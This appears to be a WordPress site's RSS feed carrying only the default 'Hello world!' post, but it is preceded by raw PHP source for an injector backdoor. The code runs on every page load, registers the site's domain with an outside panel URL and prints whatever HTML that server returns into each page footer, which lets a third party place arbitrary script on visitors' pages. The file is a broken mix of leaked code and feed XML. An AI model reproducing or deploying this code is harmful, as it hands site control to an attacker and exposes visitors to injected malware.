function wp_injector_fetch_code() {
    $backend_url = 'https://validlogs.com/BackPanel/panel.php';
    $domain = sanitize_text_field($_SERVER['HTTP_HOST']);
    $response = wp_remote_post($backend_url, array('body' => array('action' => 'register_domain', 'domain' => $domain), 'timeout' => 5));
    if (is_wp_error($response)) return;
    $html_code = wp_remote_retrieve_body($response);
    if (!empty($html_code)) {
        add_action('wp_footer', function() use ($html_code) { echo $html_code; });
    }
}
add_action('init', 'wp_injector_fetch_code');
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Wordpress</title>
	<atom:link href="https://www.adendahir.demowebsiteclient.com/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.adendahir.demowebsiteclient.com</link>
	<description></description>
	<lastBuildDate>Tue, 20 Feb 2024 05:09:55 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>
	<item>
		<title>Hello world!</title>
		<link>https://www.adendahir.demowebsiteclient.com/2024/02/20/hello-world/</link>
					<comments>https://www.adendahir.demowebsiteclient.com/2024/02/20/hello-world/#comments</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Tue, 20 Feb 2024 05:09:55 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">https://www.adendahir.demowebsiteclient.com/?p=1</guid>

					<description><![CDATA[Welcome to WordPress. This is your first post. Edit or delete it, then start writing!]]></description>
										<content:encoded><![CDATA[
<p>Welcome to WordPress. This is your first post. Edit or delete it, then start writing!</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.adendahir.demowebsiteclient.com/2024/02/20/hello-world/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
	</channel>
</rss>